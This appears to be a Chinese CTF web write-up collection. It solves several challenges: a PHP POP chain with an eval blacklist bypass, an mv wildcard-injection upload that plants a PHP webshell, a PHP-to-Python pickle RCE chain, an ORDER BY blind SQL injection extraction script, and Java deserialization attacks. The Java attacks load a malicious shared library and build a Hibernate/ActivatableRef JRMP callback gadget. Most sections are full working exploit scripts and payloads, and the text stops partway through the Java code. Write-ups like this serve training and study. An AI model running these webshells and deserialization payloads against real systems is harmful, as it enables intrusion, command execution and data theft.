begin::__destruct():对象销毁时触发,执行echo $this->var1;。如果$this->var1是一个对象,会触发其__toString()方法。begin::__toString():执行$newFunc = $this->var2; return $newFunc();。如果$this->var2是一个对象,会触发其__invoke()方法。flaag::__invoke():检查md5(md5($this->var11)) == 666。如果通过,返回$this->var10->hey。由于hey属性不存在,如果$this->var10是一个对象,会触发其__get()方法。eenndd::__get():这是最终的利用点(Sink)。它会对$this->command进行正则检查,如果通过则执行eval($this->command);。
MD5 弱类型比较if (md5(md5($this->var11)) == 666),编写脚本爆破,发现数字 213 满足条件:md5(md5('213')) 的结果以 666 开头
黑名单正则为:/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i
因为正则直接匹配字符串字面,eval 之前的检查只检查 $this->command 的原始文本。可以通过字符串拼接来绕过检测,例如:
readfile('/fl'.'ag');
exp
爆破md5(md5(var11)) == 666,md5.py:
import hashlib
def find_collision():
i = 0
while True:
s = str(i)
hash1 = hashlib.md5(s.encode()).hexdigest()
hash2 = hashlib.md5(hash1.encode()).hexdigest()
if hash2.startswith("666"):
print(f"Found: {s}")
print(f"md5(md5({s})) = {hash2}")
return s
i += 1
find_collision()
#Found: 213
#md5(md5(213)) = 666ca9a2be31fd949cb9b55686caef9a
序列化脚本
<?php
class begin {
public $var1;
public $var2;
function __construct($a)
{
$this->var1 = $a;
}
}
class flaag {
public $var10;
public $var11;
}
class eenndd {
public $command;
}
$e = new eenndd();
$e->command = "readfile('/fl'.'ag');";
$f = new flaag();
$f->var11 = "213";
$f->var10 = $e;
$b2 = new begin(null);
$b2->var2 = $f;
$b = new begin($b2);
$b->var2 = null;
echo serialize($b) . PHP_EOL;
?>
得到字符串:
O:5:"begin":2:{s:4:"var1";O:5:"begin":2:{s:4:"var1";N;s:4:"var2";O:5:"flaag":2:{s:5:"var10";O:6:"eenndd":1:{s:7:"command";s:21:"readfile('/fl'.'ag');";}s:5:"var11";s:3:"213";}}s:4:"var2";N;}

mv_upload
Title
出题人:BR
院校:西安理工大学
难度:中等
题目描述:诶哟我艹这个小蓝鲨怎么这么坏啊,连木马都不让我传
hint1:你知道的,我一向喜欢白盒审计,这不,小蓝鲨每次用vim出题都习惯设置一个备份,但这回粗心的他还没把备份文件删掉就匆匆上传题目了。
hint2:小小的偷懒造成了大大的麻烦。一个小小的*让小蓝鲨费劲心思设置的waf成了摆设。什么?你问我为什么?问问mv吧,它或许会help你😘。
Idea
HINT1: 提到 vim 备份文件,即存在vim源码泄露。
HINT2: 提到 mv 命令和通配符 *,即存在通配符注入漏洞。
通过vim文件泄漏,拿到.index.php.swp和index.php.bak
分析index.php.bak核心逻辑
$blacklist = [
'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax", "swf","ini"
];
if (in_array($extension, $blacklist)) {
$message .= "文件 {$filename} 因类型不安全(.{$extension})被拒绝。<br>";
continue;
}
// 处理确认上传完毕(移动文件)
if (isset($_POST['confirm_move'])) {
if (empty($filesInTmp)) {
$message .= "没有可移动的文件。<br>";
} else {
$output = [];
$returnCode = 0;
exec("cd $uploadDir ; mv * $targetDir 2>&1", $output, $returnCode);
if ($returnCode === 0) {
foreach ($filesInTmp as $file) {
$message .= "已移动文件: {$file} 至$targetDir$file<br>";
}
} else {
$message .= "移动文件失败: " .implode(', ', $output)."<br>";
}
}
}
代码使用了 exec 执行系统命令,并且命令中包含 mv *。在 Linux Shell 中,* 会被展开为当前目录下的所有文件名。如果文件名以 - 开头,mv 命令会将其解析为参数而不是文件名,这里就是hint2提到的 通配符注入 漏洞。
mv 命令的相关参数:
--backup: 如果目标文件已存在,在覆盖前为现有的目标文件创建备份。-S SUFFIX: 指定备份文件的后缀。
上传一个shell.的文件
<?php
if ($_REQUEST['s']) {
system($_REQUEST['s']);
} else {
phpinfo();
}
?>
- 文件名以点结尾,
pathinfo解析出的后缀为空,可绕过黑名单。 - 上传文件后的路径在/var/www/html/upload/shell.
- 再次上传以下文件到临时目录:
*--backup(空文件)
*-S(空文件)
*php(空文件)
*shell.(空文件,用于触发覆盖)
点击“确定上传”,后端执行的命令类似于:
bash mv --backup -S php shell. /var/www/html/upload/
* 命令执行时,试图将新的(空的)shell.移动到目标目录。
* 目标目录已存在旧的shell.(包含 Payload)。
* 由于指定了--backup和-S php,mv会将目标目录中已存在的shell.重命名为shell.php作为备份,然后才把新的空文件移过去。
* 此时,我们的 Payload 变成了shell.php,成功绕过黑名单并获得 PHP 执行权限。
exp
import requests
import sys
BASE_URL = "http://challenge.bluesharkinfo.com:28829/"
UPLOAD_URL = BASE_URL + "/index.php"
SHELL_FILENAME = "shell."
SHELL_CONTENT = "<?php if ($_REQUEST['s']) { system($_REQUEST['s']); } else {phpinfo();}?>"
def upload_step(session, files, description):
print(f"[*] {description}...")
try:
res = session.post(UPLOAD_URL, files=files, data={"upload": "1"})
if res.status_code != 200:
print(f"[-] 上传请求失败: {res.status_code}")
return False
res = session.post(UPLOAD_URL, data={"confirm_move": "1"})
if "已移动文件" in res.text:
print(f"[+] 移动成功")
return True
else:
print(f"[-] 移动失败或无文件移动")
return False
except Exception as e:
print(f"[-] 异常: {e}")
return False
def main():
s = requests.Session()
print("--- Step 1: Upload initial shell ---")
files1 = [
('files[]', (SHELL_FILENAME, SHELL_CONTENT))
]
if not upload_step(s, files1, "上传初始 shell."):
return
print("\n--- Step 2: Wildcard Injection ---")
files2 = [
('files[]', ('--backup', '')),
('files[]', ('-S', '')),
('files[]', ('php', '')),
('files[]', (SHELL_FILENAME, ''))
]
if not upload_step(s, files2, "执行参数注入"):
return
print("\n--- Step 3: Verify ---")
shell_url = BASE_URL + "/upload/shell.php"
print(f"[*] 访问 Webshell: {shell_url}")
try:
res = requests.get(shell_url)
if res.status_code == 200:
print("[+] Webshell 访问成功!")
print(res.text)
else:
print(f"[-] Webshell 访问失败: {res.status_code}")
except Exception as e:
print(e)
if __name__ == "__main__":
main()
webshell访问成功

执行命令

ls

ls /

cat /flag

双生序列
Title
出题人:卡奇
院校:无
难度:困难
题目描述:😋
附件:ssxl.tar
Idea
分析源码:
/index.php:
- 一个POST提交入口,仅当以
blueshark:前缀开头时才保存到 SQLite(notes表)。保存前缀之后的字符串。
/api.php: - 按 id 读取 notes 表并 unserialize 内容
- 读取
notes中对应 id 的 content,然后执行@unserialize($row["content"], ["allowed_classes" => ["Writer","Shark","Bridge"]])。 - 若反序列化结果是
Bridge实例,则调用$o->fetch()并把返回值 echo(经过htmlspecialchars)。
/run.php: - 读取
/ssxl/run.bin并 unserialize允许类:Pytools),然后调用 Pytools->blueshark()
/classes.php: - 定义了 Cat/Writer/Shark/Bridge/Pytools 等类,构成利用链。
Writer:包含b64data(base64 的 pickle),以及私有字段secret、binfile、metafile。__wakeup会调用$this->{$this->init}(),fetch()会把解 base64 后的二进制写入write.bin、并生成write.meta(JSON 包含 sig=HMAC(raw, secret) 与 ts)。Shark:ser字段作为字符串写入/ssxl/run.bin(在__toString()中调用 apply),fetch()返回"喵喵喵!"。Bridge:__get('write')会调用Writer->fetch()(触发写入),并返回Shark对象;fetch()会触发$this->write的求值并返回 Shark。Pytools(继承 Cat):run()会执行python3 /var/www/html/pytools.py并把输出放入log,__call和__destruct等用于输出日志。
/pytools.py:- Python 程序,读取
/ssxl/write.bin(pickle),校验 HMAC,载入 inner payload 并读取/ssxl/outs.txt输出。 ssxl类会读取/ssxl/write.bin(二进制 pickle)和/ssxl/write.meta(包含 HMAC sig 与 ts)。_set_secret使用自定义Unpickler解析Set对象,取得secret字段(字节),设置到self.SECRET。sig_check用hmac.new(self.SECRET, data, hashlib.sha256).hexdigest()比对meta.sig,并检查时间戳;校验通过后,读取payload字段并 pickle.loads(inner)执行(payload 可触发任意动作),随后读取outs.txt` 输出。
PHP 端负责把 base64 的 pickle 写入 write.bin 并写 meta(使用 Writer.secret);Python 端从 write.bin 读取数据并当作 pickle 反序列化(但使用 Unpickler 限制类名为 Set,从 Set 中读取 secret 字段)。因此如果我们能同时控制 Writer.secret 的内容和 write.bin 的内容(通过把合适的 pickle 放到 b64data),并保证 Python 端反序列化通过签名校验,则可以在 Python 端再解开 payload 并执行任意命令。
总体构造思路:
构造一个 PHP 序列化的 Bridge 对象,其中:
Writer.b64data= base64( pickle(Set(secret, payload)) ),其中payload是另一个 pickle(能够在 Python 端执行命令,例如把 /flag 写到 /ssxl/outs.txt)。Writer.secret设置为与 pickle 中的 secret 相同的字符串(用于 HMAC 验证)。Shark.ser= PHP 序列化的Pytools对象(例如 O:7:"Pytools":0:{}),这样在api.php的Bridge->fetch()(或后续输出过程中)会写入/ssxl/run.bin,使得run.php可以把run.bin反序列化为Pytools并执行。
- 构造上面描述的 PHP 序列化
Bridge字符串。 - POST 到
/的表单(字段s),提交内容为blueshark:+ serialized_bridge;index.php 会把它写入数据库为一条 note。 - 访问
/api.php?id=<id>(刚插入的 id),触发unserialize-> 反序列化Bridge->Bridge->fetch():这会导致Writer.fetch()写入/ssxl/write.bin和/ssxl/write.meta(包含 HMAC),同时Bridge.fetch()返回Shark,在 echo 时触发Shark::__toString()将Shark.ser写入/ssxl/run.bin。 - 访问
/run.php?action=run:run.php读取并 unserialize/ssxl/run.bin成Pytools对象,然后调用$exec->blueshark()(触发 Pytools->__call -> run),运行python3 /var/www/html/pytools.py。 pytools.py读取/ssxl/write.bin(我们写入的 pickle),自定义 Unpickler 解析出Set对象并提取 secret;用该 secret 校验write.meta的 HMAC;校验成功后加载Set.payload(inner pickle),其可执行任意命令(例如cat /flag > /ssxl/outs.txt);最后pytools读取outs.txt并输出。
exp
#!/usr/bin/env python3
import pickle, base64, requests, time, re
TARGET = "http://challenge.bluesharkinfo.com:20270"
SECRET = b"sh4rk_secret_123" #把 Writer.secret 设置为相同 secret(以通过 HMAC 校验)
cmd = "cat /flag > /ssxl/outs.txt"
class RCE:
def __reduce__(self):
import os
return (os.system, (cmd,))
class Set:
def __init__(self, secret, payload):
self.secret = secret
self.payload = payload
def php_str(s):
b = s.encode('utf-8')
return f's:{len(b)}:"{s}";'
def php_key_bytes(kb):
return f's:{len(kb)}:"' + kb.decode('latin1') + '";'
def build_bridge(b64, secret_str):
pytools_ser = 'O:7:"Pytools":0:{}'
# Writer kv
kv = [
('b64data', b64),
('\x00Writer\x00binfile', '/ssxl/write.bin'),
('\x00Writer\x00metafile', '/ssxl/write.meta'),
('\x00Writer\x00secret', secret_str),
('init', 'init'),
]
body = ''
for k, v in kv:
if '\x00' in k:
body += php_key_bytes(k.encode('latin1'))
else:
body += php_str(k)
body += f's:{len(v.encode("latin1"))}:"{v}";'
writer_ser = f'O:6:"Writer":{len(kv)}:{{{body}}}'
shark_ser = php_str('ser') + f's:{len(pytools_ser)}:"{pytools_ser}";'
shark_ser = f'O:5:"Shark":1:{{{shark_ser}}}'
bridge = php_str('writer') + writer_ser + php_str('shark') + shark_ser
bridge_ser = f'O:6:"Bridge":2:{{{bridge}}}'
return bridge_ser
def main():
inner = pickle.dumps(RCE())
raw = pickle.dumps(Set(SECRET, inner))
b64 = base64.b64encode(raw).decode()
bridge = build_bridge(b64, SECRET.decode('latin1'))
requests.post(TARGET+'/', data={'s': 'blueshark:' + bridge})
time.sleep(0.5)
r = requests.get(TARGET + '/')
notes = re.findall(r"<div class=\"note\">\s*<div class=\"meta\">#(\d+)</div>\s*<div>(.*?)</div>\s*</div>", r.text, re.S)
my_id = None
for nid, content in notes:
if 'Writer' in content or b64[:20] in content:
my_id = nid
break
if not my_id and notes:
my_id = notes[0][0]
if not my_id:
print('id not found')
return
print('api.php:', requests.get(TARGET + f'/api.php?id={my_id}').status_code)
out = requests.get(TARGET + '/run.php?action=run')
print(out.text)
if __name__ == '__main__':
main()
PoC脚本:
- 在本地构造 Python 的 pickle:
Set(secret, payload),其中payload是另一个 pickle(RCE),RCE 的作用是在服务器上执行cat /flag > /ssxl/outs.txt。 - 把上面 pickle base64 后放入
Writer.b64data,把Writer.secret设置为相同 secret(以通过 HMAC 校验)。构造Shark(其ser字段是 PHP 序列化的Pytools),把Writer与Shark包装到Bridge中并序列化为 PHP 字符串。 - POST 到首页(字段 s = 'blueshark:' + serialized_bridge),解析首页得到刚插入的记录 id。
- 请求
/api.php?id=<id>触发写入/ssxl/write.bin与/ssxl/run.bin。 - 请求
/run.php?action=run触发 Python 执行并在响应中获得输出(flag)。

kaqiWeaponShop
Title
出题人:卡奇
院校:无
难度:困难
hint:flag 在 flag 表中的 flag 列
Idea
访问网站是卡奇师傅的武器商店

根据hint,明显存在SQL注入漏洞,点击下一页,发现url出现了
/?p=2&id=&name=
分析出参数:
p: 分页参数。id: 似乎用于指定排序字段或过滤条件。name: 搜索武器名称。
对各个参数进行测试,发现在id参数后添加单引号',页面未报错,但排序发生变化

构造payload进行测试id参数时,发现了没有直接回显数据,并发现参数直接控制SQL查询中的ORDER BY子句,于是尝试利用CASE WHEN语句构造布尔盲注。
True情况:
?id=CASE WHEN 1=1 THEN id ELSE name END

?id=CASE WHEN 1=2 THEN id ELSE name END
False情况:

说明存在基于ORDER BY 的布尔盲注漏洞
一开始手工探测的时候,发现过滤了大量的关键字和函数:SUBSTR, MID, LEFT, RIGHT,ASCII, ORD等,导致无法使用常规的二分查找法,可支持对字符串进行字典序比较。例如:
'abc' < 'abd'-> True'abc' < 'abb'-> False
利用这一特性,通过拼接猜测的前缀与目标字符串进行整体比较,从而逐位确定 Flag
hint:flag 在 flag 表中的 flag 列
直接省去中间查表查列的过程
Payload 构造:
CASE WHEN (SELECT flag FROM flag LIMIT 1) < '猜测值' THEN id ELSE name END
exp
import requests, sys
URL = "http://challenge.bluesharkinfo.com:28700/"
def check(cond):
try:
res = requests.get(URL, params={"id": f"CASE WHEN ({cond}) THEN id ELSE name END"}, timeout=5).text
return "<span>编号</span><span>1</span>" in res
except: return False
flag = ""
print( end=" ", flush=True)
while True:
low, high, char_code = 32, 126, 0
while low <= high:
mid = (low + high) // 2
guess = (flag + chr(mid)).replace("'", "''").replace("\\", "\\\\")
if check(f"(SELECT flag FROM flag LIMIT 1) < '{guess}'"):
high = mid - 1
else:
char_code = mid
low = mid + 1
if char_code == 0: break
flag += chr(char_code)
print(chr(char_code), end="", flush=True)
if chr(char_code) == '}': break
print(f"\nFlag: {flag}")
拿到flag

load_jvav
Title
题目名称:load_jvav
出题人:卡奇
院校:无
难度:困难
题目描述:喜欢我的黑盒题吗😋
hint:flag 在 /flag/flag.flag
Idea
进入页面是一个文件管理系统,在前端JS中发现API接口:
/api/upload、/api/FileList、/api/FileRead

前端脚本片段提示了 FileList 与 FileRead 的使用方式(FileList 接受 path 参数,FileRead 接受 filename 参数并返回 Base64 编码数据)。
通过FileList接口,对目录进行探测:
/api/FileList?path=../../../../flag

测试任意文件读取:
/api/FileRead?filename=../../../../flag/flag.flag

使用 FileList 与 FileRead 探索到上级目录,发现有源码压缩包
/api/FileList?path=../

下载源码压缩包
/api/FileRead?filename=../ezjava_src.zip

保存返回 JSON,然后解析 Base64 写成 ezjava_src.zip
定位到多个关键文件:
com/example/web/api/api.javacom/example/utile/safeSer.javacom/example/utile/YouFindThis.javacom/example/utile/Function.java
这些文件展示了上传与反序列化逻辑、黑名单过滤与可利用的 gadget
在/api/upload中,上传功能将文件保存到 ./upload/,如果文件名包含 ref(后缀含 ref),则会将上传的文件视作 Base64 编码的序列化对象:
if(filename.substring(filename.lastIndexOf(".")).contains("ref")){
byte[] bytes1 = Base64.decodeBase64(bytes);
ByteArrayInputStream bis=new ByteArrayInputStream(bytes1);
ObjectInputStream ois = new safeSer(bis);
ois.readObject();
msg.setData("备份成功");
msg.setCode(1);
return msg;
}
safeSer 重写了 resolveClass,并使用一个黑名单 BLACKLIST,列出了许多常见的危险类,例如 Commons Collections 的 Transformer、TemplatesImpl、JdbcRowSetImpl 等,以及一些字符串关键字。这个黑名单旨在拦截常见 gadget
System.load是加载本地共享库的静态方法。这个方法名与类java.lang.System并不在BLACK2列表内。方法名load也不在BLACK1列表中。System.load是静态方法,可以通过invoke(null, path)或者invoke(input, args)运行。
因此YouFindThis 可以被构造为调用 java.lang.System.load(String),从而加载上传到 ./upload/ 下的任意 .so 文件。
exp
- 上传一个包含恶意 constructor 的共享库
libexploit.so,该库在加载时执行system("cat /flag/flag.flag > /app/upload/result.txt") - 构造
YouFindThis的序列化对象,设置aClass = System.class、methed = "load"、argclass = String.class、args = "/app/upload/libexploit.so",对对象进行 Java 序列化,并 Base64 编码形成.ref文件。 - 将库上传到服务器(通过
/api/upload),然后上传.ref文件。同样通过/api/upload,触发safeSer反序列化,触发System.load,加载共享库,执行 constructor,写出 flag 到./upload/result.txt。 - 读取
result.txt(通过/api/FileRead)并解 Base64,得到 flag。
本地编写c代码
#include <stdlib.h>
#include <stdio.h>
void __attribute__((constructor)) my_init() {
system("cat /flag/flag.flag > /app/upload/result.txt");
}
编译生成共享库
gcc -shared -fPIC -o libexploit.so exploit.c
将编译后的libexploit.so上传至服务器
构造 Java 序列化 payload(示例化 YouFindThis 并序列化为 Base64)。
示例思路(伪代码/步骤):
- 在 Java 程序中 new 一个
YouFindThis实例,设置:aClass = java.lang.System.classmethed = "load"argclass = String.classinput = "bypass"(任何非 null 的 Serializable 对象)args = "/app/upload/libexploit.so"
- 使用
ObjectOutputStream序列化该对象,Base64编码输出到文件exploit.ref。
payload.txt:
rO0ABXNyAB1jb20uZXhhbXBsZS51dGlsZS5Zb3VGaW5kVGhpcwjLUi3UjktrAgAFTAAGYUNsYXNzdAARTGphdmEvbGFuZy9DbGFzcztMAAhhcmdjbGFzc3EAfgABTAAEYXJnc3QAEkxqYXZhL2xhbmcvT2JqZWN0O0wABWlucHV0cQB+AAJMAAZtZXRoZWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHZyABBqYXZhLmxhbmcuU3lzdGVtAAAAAAAAAAAAAAB4cHZyABBqYXZhLmxhbmcuU3RyaW5noPCkOHo7s0ICAAB4cHQAGi9hcHAvdXBsb2FkL2xpYmV4cGxvaXQyLnNvdAAGYnlwYXNzdAAEbG9hZA==
将payload.txt后缀名改为ref,上传payload.ref文件,触发反序列化,生成result.txt,进行读取/api/FileRead?filename=result.txt


Regretful_Deser
Title
出题人:N1ght
院校:秘密
难度:困难
题目描述:这是一个很考验功底的题目,尽情使用ai吧。
hint:fpclose冒死从n1ght电脑上面偷瞄了一眼,怎么回事,ActivatableRef是个什么东西,尊嘟假嘟,N1ght不会在瞎写吧。对了,我不会告诉你jdk的版本是1.8.0 472。
附件:n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar
Idea
进入页面

啥东西也没有,只能分析附件了,一个jar,看着头疼
# 列出 jar 内文件(快速检索 gadget 类)
jar tf n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar | egrep 'InvokerTransformer.class|LazyMap.class|TemplatesImpl.class|PojoComponentTuplizer.class'
# 解压 jar 查看/反编译
mkdir extracted && cd extracted
jar xf ../n1ght_web-1.0-SNAPSHOT-jar-with-dependencies.jar
# 使用 javap/反编译器 查看某个类
javap -classpath . org.apache.commons.collections.functors.InvokerTransformer
分析得到jar包内含有
org/apache/commons/collections/functors/InvokerTransformer.class、org/apache/commons/collections/map/LazyMap.class、com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.class 与大量 org.hibernate.* 类。
- commons-collections gadget
- jar 中存在
org.apache.commons.collections.*的实现类,InvokerTransformer、LazyMap 等。 - CommonsCollections 系列(例如 ysoserial 的 CC1..CC6)是典型的反序列化 RCE gadget,能在反序列化过程中触发任意反射调用导致
Runtime.exec()被调用。 - 但是目标应用在
SecurityObjectInputStream中显式黑名单,这意味着直接把 CC6 发给/api/echo很可能会被拦截。 - CC6 可作为 Stage2(用于在目标回连到攻击者 JRMP listener 后由 listener 发送),但不能直接作为 Stage1 触发 payload 发往
/api/echo。
- jar 中存在
- TemplatesImpl gadget
- jar 中存在
com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.class,并且TemplatesImpl是常用的 RCE gadget(通过_bytecodes注入恶意类字节码)。 TemplatesImplpayload 生成时要确保字节码版本兼容目标 JVM(目标为 Java 1.8,hint也有提示),但同样适合作为 Stage2 RCE gadget。
- jar 中存在
- Hibernate
- jar 中包含大量
org.hibernate.*类,如org.hibernate.tuple.component.PojoComponentTuplizer、org.hibernate.engine.spi.TypedValue等。 - 当服务依赖 Hibernate 时,可以利用 Hibernate 的内部实现构造特殊对象链(例如
TypedValue+ComponentType+PojoComponentTuplizer+Getter),在反序列化或 hash/equals 调用时触发 getter,从而间接触发攻击动作。 - 使用
sun.rmi.server.ActivatableRef或ActivationID可通过 getter 的某次调用触发 JRMP 的回连(ActivatableRef.getRef 会导致远程连接)。因此,若能把 ActivatableRef 放到一个会被触发的 getter/tuplizer 中,则可能在没有直接 commons-collections 的情况下强制发起 JRMP 连接,绕过 web 层的黑名单。 - Hibernate gadget 可构造一个“触发 JRMP 回连的 Stage1”,即在目标处被反序列化后会主动连接到攻击者监听的 JRMP 服务。此时我们可以在 JRMP listener 上发送 Stage2(CommonsCollections 或 TemplatesImpl)完成 RCE。
- jar 中包含大量
- JRMP(RMI)触发器
- 目标环境为 Java,且
sun.rmi.*内部类可被利用来构造一个Remote代理,使目标在反序列化期间尝试连接到某个 JRMP 地址。 - 构造
UnicastRef/LiveRef/TCPEndpoint并将其封装为RemoteObjectInvocationHandler的 Proxy,或构造ActivatableRef并设置ActivationID指向该 Proxy,从而在目标处触发 RMI 连接。 - JRMP 回连 + JRMP listener 的两阶段攻击是绕过黑名单的常用手段。Stage1 要做的是让目标连接回来;Stage2 在回连时发送真正的 RCE gadget。
- 目标环境为 Java,且
编写ExploitGenerator.java(exp.java),以下为ExploitGenerator.java的具体实现(其实可以直接跳过...):
1、程序入口:
在源码中,main 解析 args[0](myIp)和 args[1](myPort),随后生成三种 payload(JRMP trigger、rce_payload、hibernate trigger),并将 payload_hib 也输出为 base64。该设计直接源于我们要同时支持 JRMP two-stage(需要一个 JRMP trigger)和 Hibernate-based trigger(直接触发回连/备用)。允许指定攻击者的 IP/port,用于 JRMP 触发器(例如 java ExploitGenerator <my_ip> <my_port>)。
2、JRMP Client 生成:
源于jar包:sun.rmi.transport.tcp.TCPEndpoint、sun.rmi.transport.LiveRef、sun.rmi.server.UnicastRef 都是 JRE 内部类,但在 ExploitGenerator 中直接使用。原因是这些类在目标 JVM(1.8)可用,因此我们可以依赖它们实现 RMI 触发。目的是让返回的 proxy 在被反序列化或被调用时会触发 JRMP 连接到 host:port。
ObjID id = new ObjID(new Random().nextInt());TCPEndpoint te = new TCPEndpoint(host, port);UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);Registry proxy = (Registry) Proxy.newProxyInstance(..., obj);
作为直接发送到/api/echo的 Stage1 时,如果无法使用 Hibernate gadget,那么一个Remoteproxy(例如UnicastRef->RemoteObjectInvocationHandler->Proxy)可以在反序列化时对目标发起连接。另一方面,当使用 Hibernate gadget,我们仍然需要构造ActivationID或ActivatableRef的Remote代理来指向我们构造的Remote。
3、CommonsCollections6 RCE:
作为 Stage2(由 JRMP listener 在回连时发送)。使用常见 CC6 结构:ChainedTransformer -> InvokerTransformer -> LazyMap -> TiedMapEntry -> HashMap。源码里构建了一条 transformer chain,并通过反射把LazyMap.factory替换为链,从而在反序列化时触发 exec。
源码里使用String[] cmdArray以便 exec 调用Runtime.exec(String[]),并构造了包含反弹 shell 的 python 命令。
jar 中存在 CommonsCollections 的类,说明应用依赖了 commons-collections 或包含该library,因此 CC gadget 在目标 JVM 中可能可用。
4、Hibernate + ActivatableRef 触发器:
jar 包中含有org.hibernate.tuple.component.PojoComponentTuplizer、org.hibernate.engine.spi.TypedValue、org.hibernate.type.ComponentType等类(已经通过 jar 列表确认)。这使得我们可以用 Hibernate 的内部对象组合来触发一个调用链(例如调用 Getter)并把ActivatableRef放进链中,最终触发 JRMP 回连。
1. 构造一个ObjID与TCPEndpoint,再用LiveRef/UnicastRef构建RemoteRef,并由RemoteObjectInvocationHandler包装为一个Proxy(作为Activator/Remote)。这个 proxy 将被用来构造一个ActivationID:ActivationID activationID = new ActivationID((Activator) proxy);。
2. 用Unsafe.allocateInstance(ActivatableRef.class)分配ActivatableRef的实例(避免调用构造函数导致检查),然后把id字段设置为上面的ActivationID。这一步使得activatableRef.getRef()会尝试与我们指定的 JRMP endpoint 通讯。
3. 构造一个Method引用(即getRefMethod),并构造一个能够在 Hibernate 中被调用的Getter实现:尝试优先使用GetterMethodImpl(如果可用),否则使用BasicGetter的替代构造方法。关键在于将getRefMethod交给 Getter,使得在PojoComponentTuplizer的 getter 数组被执行时会调用getRef()。
4. 使用Unsafe分配PojoComponentTuplizer实例并通过反射设置其getters字段为包含我们自定义 getter 的数组。
5. 使用Unsafe分配ComponentType并设置其componentTuplizer指向上面的tuplizer,设置propertySpan为 1,设置propertyTypes为包含该componentType的数组。
6. 构造TypedValue(通过其构造器),并把value字段替换为activatableRef。
7. 最后把typedValue作为HashMap的 key(或放入 map)返回。反序列化或后续 hashCode/equals 触发将导致getter被调用,从而最终触发activatableRef.getRef()发起 JRMP 回连。
exp
ExploitGenerator.java
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.rmi.Remote;
import java.rmi.activation.ActivationID;
import java.rmi.activation.Activator;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.util.Base64;
import java.util.HashMap;
import java.util.Random;
public class exp {
private static final String RMI_HOST = "";
private static final int RMI_PORT = ;
public static void main(String[] args) throws Exception {
Class<?> componentTypeClass = Class.forName("org.hibernate.type.ComponentType");
Class<?> pojoComponentTuplizerClass =
Class.forName("org.hibernate.tuple.component.PojoComponentTuplizer");
Class<?> abstractComponentTuplizerClass =
Class.forName("org.hibernate.tuple.component.AbstractComponentTuplizer");
Class<?> hibernateTypeInterface = Class.forName("org.hibernate.type.Type");
Class<?> typedValueClass = Class.forName("org.hibernate.engine.spi.TypedValue");
ObjID objID = new ObjID(new Random().nextInt());
Class<?> tcpEndpointClass = Class.forName("sun.rmi.transport.tcp.TCPEndpoint");
Constructor<?> teCtor = tcpEndpointClass.getDeclaredConstructor(String.class, int.class);
teCtor.setAccessible(true);
Object tcpEndpoint = teCtor.newInstance(RMI_HOST, RMI_PORT);
Class<?> endpointClass = Class.forName("sun.rmi.transport.Endpoint");
Class<?> liveRefClass = Class.forName("sun.rmi.transport.LiveRef");
Constructor<?> liveRefCtor =
liveRefClass.getDeclaredConstructor(ObjID.class, endpointClass, boolean.class);
liveRefCtor.setAccessible(true);
Object liveRef = liveRefCtor.newInstance(objID, tcpEndpoint, false);
Class<?> unicastRefClass = Class.forName("sun.rmi.server.UnicastRef");
Constructor<?> unicastRefCtor = unicastRefClass.getDeclaredConstructor(liveRefClass);
unicastRefCtor.setAccessible(true);
Object unicastRef = unicastRefCtor.newInstance(liveRef);
RemoteRef remoteRef = (RemoteRef) unicastRef;
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler(remoteRef);
Object proxy = java.lang.reflect.Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(),
new Class[]{Remote.class, Activator.class},
handler
);
ActivationID activationID = new ActivationID((Activator) proxy);
Class<?> activatableRefClass = Class.forName("sun.rmi.server.ActivatableRef");
Object activatableRef = allocateWithoutConstructor(activatableRefClass);
setField(activatableRef, "id", activationID);
Method getRefMethod = activatableRefClass.getDeclaredMethod("getRef");
getRefMethod.setAccessible(true);
Object getter;
try {
Class<?> getterImpl =
Class.forName("org.hibernate.property.access.spi.GetterMethodImpl");
Constructor<?> ctor = getterImpl.getDeclaredConstructors()[0];
ctor.setAccessible(true);
getter = ctor.newInstance(null, null, getRefMethod);
} catch (Throwable t) {
Class<?> basicGetter =
Class.forName("org.hibernate.property.BasicPropertyAccessor$BasicGetter");
Constructor<?> ctor =
basicGetter.getDeclaredConstructor(Class.class, Method.class, String.class);
ctor.setAccessible(true);
getter = ctor.newInstance(activatableRefClass, getRefMethod, "ref");
}
Object tuplizer = allocateWithoutConstructor(pojoComponentTuplizerClass);
Field gettersField = abstractComponentTuplizerClass.getDeclaredField("getters");
gettersField.setAccessible(true);
Object gettersArray = Array.newInstance(getter.getClass(), 1);
Array.set(gettersArray, 0, getter);
gettersField.set(tuplizer, gettersArray);
Object componentType = allocateWithoutConstructor(componentTypeClass);
setField(componentType, "componentTuplizer", tuplizer);
setField(componentType, "propertySpan", 1);
Object typeArray = Array.newInstance(hibernateTypeInterface, 1);
Array.set(typeArray, 0, componentType);
setField(componentType, "propertyTypes", typeArray);
Constructor<?> typedValueCtor =
typedValueClass.getDeclaredConstructor(hibernateTypeInterface, Object.class);
typedValueCtor.setAccessible(true);
Object typedValue = typedValueCtor.newInstance(componentType, null);
HashMap<Object, Object> map = new HashMap<Object, Object>();
map.put(typedValue, "value");
setField(typedValue, "value", activatableRef);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
byte[] payloadBytes = baos.toByteArray();
String b64 = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(b64);
}
private static void setField(Object target, String fieldName, Object value) throws Exception {
